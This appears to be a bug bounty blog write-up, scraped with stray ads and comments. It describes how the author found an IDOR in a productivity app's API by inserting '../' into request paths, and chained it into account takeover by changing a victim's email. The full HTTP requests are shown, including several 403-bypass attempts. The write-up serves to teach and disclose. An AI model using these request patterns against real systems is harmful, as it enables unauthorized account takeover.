Top 7 methods to find account takeover bugs in 2023
A step-by-step guide on how I find security vulnerabilities that others miss

Search for a command to run...
A step-by-step guide on how I find security vulnerabilities that others miss

Get a free temporary email to sign in to websites where you don't want to use your personal email. tempmail.so
These are the ways to delete a temporary email. Choose your online generator well, and you can do without email when you need to. When you use a Disposable Email Address, you may send and receive emails without being identified. A temporary mail box is exactly what it sounds like: a box where you may store your mail while you're away from home. This will save you a lot of time. Our service is completely free, and all you have to do is visit our website and you'll be provided with a temporary email address. When utilizing a temporary email box, there is no need to input any personal information, as there is when using a normal email account, unlike when using a regular email account. Know about Temp Mail
Exactly... Learning about the target application in the first place is also really important.
Nice Find 👏 I wont able to send message in twitter and LinkedIn, do you have any email address for contact?
Glad you liked the write-up.
You can email me at varikkottilusama@gmail.com
Get started with Cross Site Scripting: A Simple Guide for Beginner-Level Devs

What is XSS? Simply we can say that XSS (Cross-site scripting) is a JavaScript code injection on web applications. Attackers use vulnerable web apps to inject malicious javascript code or a script. There are several types of XSS attacks. The risks of...

The challenge in this writeup is from Portswigger's web security academy lab. You can access it here for Free. The challenge We need to access the admin panel and delete the user called Carlos. We can only access the admin panel from the internal n...

An easy-to-exploit SSRF vulnerability.

Making some weird API requests resulted in full user account takeovers, which paid me the highest reward of two bug bounty programs. Account takeovers are critical security vulnerabilities. Making strange API requests can sometimes lead to critical account takeover bugs. I discovered 2 such vulnerabilities while performing security tests on apps. Let's talk about those 2 specific bugs today.
It is a productivity application with 2+ million users. They have a Responsible Disclosure Policy, where they offered $2500 for critical security issues.
Create user accounts and log in to the account.
The users can create workspaces.

The admin users in the workspaces can invite new team members to the workspaces.

One user can be a member of multiple workspaces.

I was exploring the target web application features and got 2 minor security issues in 7 days. Even though they offer a $100 bounty for similar minor issues, I didn't report those two issues because I was not happy with those findings. This doesn't mean that I won't report minor issues, I will report those issues anyway, but once after I cannot make it to high impact.
No expiration of the old password reset link after requesting a new password reset link.
Response manipulation during the user account deletion process.
To delete a user account, the user has to enter his current password for verification. I could bypass it simply by changing a false value into true. This resulted in the user account deletion without entering the correct password.
I needed to make the response manipulation vulnerability worth reporting by increasing the impact. So I started experimenting with the features related to team members (workspace), by thinking response manipulation could be used again somewhere in the application to get some cool privilege escalation bugs.
Sadly, there were no such requests that needed a response for validation, not even 2FA. So I started testing for IDORs on the web application.
I registered 2 user accounts with 2 different emails: adimon@just4fun.me for the admin and attacker@appzily.com for the attacker. On creating a new user account, a default workspace automatically gets created inside the user account. The name of the default workspace always starts with the user's first name.
Let's call the victim user "Adimon" and the attacker user "Attacker".
We can use the
Chrome profilefeature to keep all our info separate, such as cookies and sessions. We can log in to the Attacker's account and the victim's account in Chrome itself. We don't have to open different browsers for keeping different sessions separately.
By analyzing the HTTP requests and responses, I got the following information about the accounts I created while playing with the application.
| attacker | admin | |
email | attacker@appzily.com | adimon@just4fun.me |
userId | 60b64f71adf0d3543cfd8225 | 60c30f168747147d9acd89aa |
workspace IDs | 60b64f71adf0d3543cfd8229, 60c30f178747147d9acd89ba | 60c30f178747147d9acd89ba |
Owned workspace IDs | 60b64f71adf0d3543cfd8229 | 60c30f178747147d9acd89ba |
Usually, I use temporary email services like temp-mail.io or mail.tm for using multiple emails during pentesting. Because I don't want to mess up my Gmail account.
From Adimon's account, I invited the attacker to Adimon's workspace. The invitation request has shown below.

There are 3 major parts in every request for this target API.
Auth tokens are different for different users. Adimon will have an auth token, and the attacker will have another auth token. An API request made from Adimon's account should be included Adimon's auth token.

The token may or may not expire at a certain timeframe, but we don't have to worry about it for now.
Good question😃. We can do that by replacing Adimon's auth token with the attacker's auth token.

There will be separate API routes for different functions of the application. API requests related to workspace comes under /workspace route. The above screenshot shows an API request made when inviting a user to Adimon's workspace. Therefore, the ID in the request is Adimon's workspace ID.

We are working with a workspace invitation request above, so the relevant data would be about whom to be invited. If the request was related to a photo upload, then the request data would be details about the uploading photo.
The workspace admins invite new users by email, so the request data contains the emails to be invited into the workspace.
POST /workspaces/<Adimon's_workspace_ID>/users?sendEmail=true HTTP/1.1
Host: global.api.host.com
Connection: close
Content-Type: application/json
X-Auth-Token: <Adimon's Auth token>
{"emails": ["attacker@appzily.com"], "captchaValue": "_"}
As per the target application, only the workspace admin can:
invite new users to the team
edit the privileges of the invited users
delete the user from the team
and so on.
Good question😃. We need to go through each request individually to test for some vulnerabilities like IDOR. In Adimon's workspace, check if the attacker has the same permissions as Adimon.
Using the attacker's Auth token, I tried sending requests to edit, invite, and delete a user from Adimon's workspace. Unfortunately, every request failed by showing a 403 Forbidden error.
The following screenshot shows a sample request made using the attacker's auth token, to invite a random user into Adimon's workspace.

POST /workspaces/60c30f178747147d9acd89ba/users?sendEmail=true HTTP/1.1
Host: global.api.host.com
Content-Type: application/json
X-Auth-Token: eyJ0eXAiOiJKV1QiLCJhbGciOiJS...<Attacker's AUTH Token>
{"emails":["random@gmail.com"],"captchaValue":"_"}
403 Forbidden errorI read a lot of #bugbounty tips from Twitter about bypassing 403 Forbidden errors that help us during API hacking. I started testing them one by one.
FailedPOST /workspaces/[60c30f178747147d9acd89ba]/users?sendEmail=true HTTP/1.1
Host: global.api.host.com
Content-Type: application/json
X-Auth-Token: eyJ0eXAiOiJKV1QiLCJhbGciOiJS...<Attacker's AUTH Token>
{"emails":["random@gmail.com"],"captchaValue":"_"}
FailedThe email is sent as an array by default, so let's try changing it to a nested array.
POST /workspaces/60c30f178747147d9acd89ba/users?sendEmail=true HTTP/1.1
Host: global.api.host.com
Content-Type: application/json
X-Auth-Token: eyJ0eXAiOiJKV1QiLCJhbGciOiJS...<Attacker's AUTH Token>
{"emails":[["random@gmail.com"]],"captchaValue":"_"}
FailedPOST /workspaces/{"id":"60c30f178747147d9acd89ba"}/users?sendEmail=true HTTP/1.1
Host: global.api.host.com
Content-Type: application/json
X-Auth-Token: eyJ0eXAiOiJKV1QiLCJhbGciOiJS...<Attacker's AUTH Token>
{"emails":["random@gmail.com"],"captchaValue":"_"}
POST /workspaces/60c30f178747147d9acd89ba/users?sendEmail=true HTTP/1.1
Host: global.api.host.com
Content-Type: application/json
X-Auth-Token: eyJ0eXAiOiJKV1QiLCJhbGciOiJS...<Attacker's AUTH Token>
{"emails":[{"email": "random@gmail.com"}],"captchaValue":"_"}
FailedI tried changing every POST request to DELETE, PUT, and PATCH. But it failed by showing a 405 method not allowed error.
PUT /workspaces/<workspace_ID>/users?sendEmail=true HTTP/1.1
...
...
PATCH /workspaces/<workspace_ID>/users?sendEmail=true HTTP/1.1
...
...
DELETE /workspaces/<workspace_ID>/users?sendEmail=true HTTP/1.1
...
...

FailedWe need to check if older versions of API exist by adding /v1/, /v2/, or /v3/ to the route. I tested all API versions since there were no version numbers sent in this API request by default.
POST /v1/workspaces/<workspace_ID>/users?sendEmail=true HTTP/1.1
...
...
POST /v2/workspaces/<workspace_ID>/users?sendEmail=true HTTP/1.1
...
...
I got nothing except the server's 404 Not Found error response while playing with API versions.
FailedSometimes replacing the IDs, emails, or usernames with a wildcard character would cause some strange responses from the server. For example, * means "All", so replacing an ID with a * character in a request would mean doing the same thing for all the IDs in the database instead of just one.
As in the example request given below, I tried to replace the workspace ID with a * character to check if I can invite a new user into every workspace out there in the target application. Unfortunately, the only response I'm getting from the server was a 404 Not Found error.
POST /workspaces/*/users?sendEmail=true HTTP/1.1
Host: global.api.host.com
Content-Type: application/json
X-Auth-Token: ....
{"emails":["myEmail@gmail.com"],"captchaValue":"_"}
FailedPOST /workspaces/60c30f178747147d9acd89ba%00/users?sendEmail=true HTTP/1.1
Host: global.api.host.com
Content-Type: application/json
X-Auth-Token: eyJ0eXAiOiJKV1QiLCJhbGciOiJS...<Attacker's AUTH Token>
{"emails":["random@gmail.com"],"captchaValue":"_"}
We get some weird responses sometimes from the server by adding null characters in the requests. Try adding %00 in the URL, request data, header, etc. However, this API and server handled every null character carefully.
I don't even remember what other things I tested on this API, but I'm sure that I spent a few days just playing on the API with the goal of finding something interesting.
I wanted to test more on this API, but there were no tricks left in my brain at that moment. I knew there are a lot of bug bounty tips shared on Twitter. And the collections of such bug bounty tips are shared on the web.
I made a quick google search for "API bug bounty tips". And I came across a GitHub repository of API security checklists. Book-of-bugbounty-tips/api (Not 100% sure if this is the repository I landed at.).
After some tests and failures, I tried testing with an ../ in the API route. The attacker's workspace ID is 60b64f71adf0d3543cfd8229 and Adimon's workspace ID is 60c30f178747147d9acd89ba.
POST /workspaces/60b64f71adf0d3543cfd8229/../60c30f178747147d9acd89ba/users?sendEmail=true HTTP/1.1
Host: global.api.host.com
Content-Type: application/json
X-Auth-Token: eyJ0eXAiOiJKV1QiLCJhbGciOiJS...<Attacker's AUTH Token>
{"emails":["random@gmail.com"],"captchaValue":"_"}
And to my surprise, it was successful😇. I could invite new users to the Adimon workspace by sending a request like the above using the attacker's auth token.
Increasing the impact of the vulnerability is the next step. It would be a good deal if we could somehow take over user accounts by exploiting this vulnerability.
I tried changing Adimon's password from the attacker's account by exploiting the above vulnerability. Sadly, it failed since Adimon's old password is required to change the password of Adimon.

Okay, next which is the feature to achieve an account takeover by exploiting the vulnerability? Yeah, email changing.
Let's try changing Adimon's email using the attacker's auth token in the request. If we get a successful response, we could send the forgot password request later, and the reset email would receive into the updated email address.
A normal email change request looks like this:
PUT /users/60b64f71adf0d3543cfd8225/email HTTP/1.1
Host: global.api.host.com
Content-Type: application/json
X-Auth-Token: eyJ0eXAiOiJKV1QiLCJhbGciOiJS...<Attacker's AUTH Token>
{"email":"attacker-mon@gmail.com"}
60b64f71adf0d3543cfd8225 is the userID of the attacker. I sent the below request to change Adimon's email using the attacker's AUTH token. Adimon's userId is 60c30f168747147d9acd89aa.
PUT /users/60b64f71adf0d3543cfd8225/../60c30f168747147d9acd89aa/email HTTP/1.1
Host: global.api.host.com
Content-Type: application/json
X-Auth-Token: eyJ0eXAiOiJKV1QiLCJhbGciOiJS...<Attacker's AUTH Token>
{"email":"attacker-mon@gmail.com"}
The request was successful. And it responded with a 200 OK response. Cool... But the email change has not been completed yet, because a verification link needs to click in order to complete the email change process.
There are two possibilities here: The email change verification link would receive into
the current email.
The newly requested email.
For my luck, it delivered the verification link to the newly requested email. That means, to the attacker's email. In our case, the current email is Adimon's email and the newly requested email is the attacker's email. Taking over Adimon's account from the attacker's account has been done successfully. If an attacker has the userId of the victim, he can successfully take over the victim's account.
There is one more thing we need to find: The userId. We have successfully found an IDOR vulnerability. But in order to exploit the attack, we need to find userId of the victim user(Adimon in our case).
userId?There is a feature to invite users to the workspace using their email.

From the attacker's account, I invited Adimon into the attacker's workspace. After sending the invitation request, the response to that request contained userId of the invited email.

Only the user email is needed to get the userId, if there is a user account with the entered email, then the response contains that user's userId.
The complete attack looks like this:
The attacker invites Adimon to his workspace, by entering the email address adimon@just4fun.me.
Get Adimon's userId from the #1 response.
The attacker changes the email of Adimon into the attacker's email by exploiting IDOR vulnerability.
Make a forgot password request.
I made a report and sent it to the company.

Did you know that you can like this post 10 times, if you do, that will make my day! If you don't, it's okay too...
5 days later after sending the report, I got an email from the team regarding the bounty amount of $2500.

Imagine if they delivered the verification link of the email change request to the current email instead of the new email. I would not find Account takeover vulnerability then. I was lucky enough to receive the verification email to the newly requested email. Luck will come automatically if we work consistently. We can increase the chances of luck by putting in more effort.

I mentioned about 2 minor issues I got while hunting the target. I reported the second issue. Unfortunately, it was a duplicate finding.
I planned to cover details about both the account takeover vulnerabilities in this blog post. But seriously dude, writing a write-up is very challenging and hard. I will publish the other account takeover vulnerability as a new blog post on another day.
If you are still struggling to find your first bug, I get you, dude. It is indeed tough. But it's possible.
If you want this company's details, message "ATOblog" to my LinkedIn here, and I will be happy to share this program's details with you.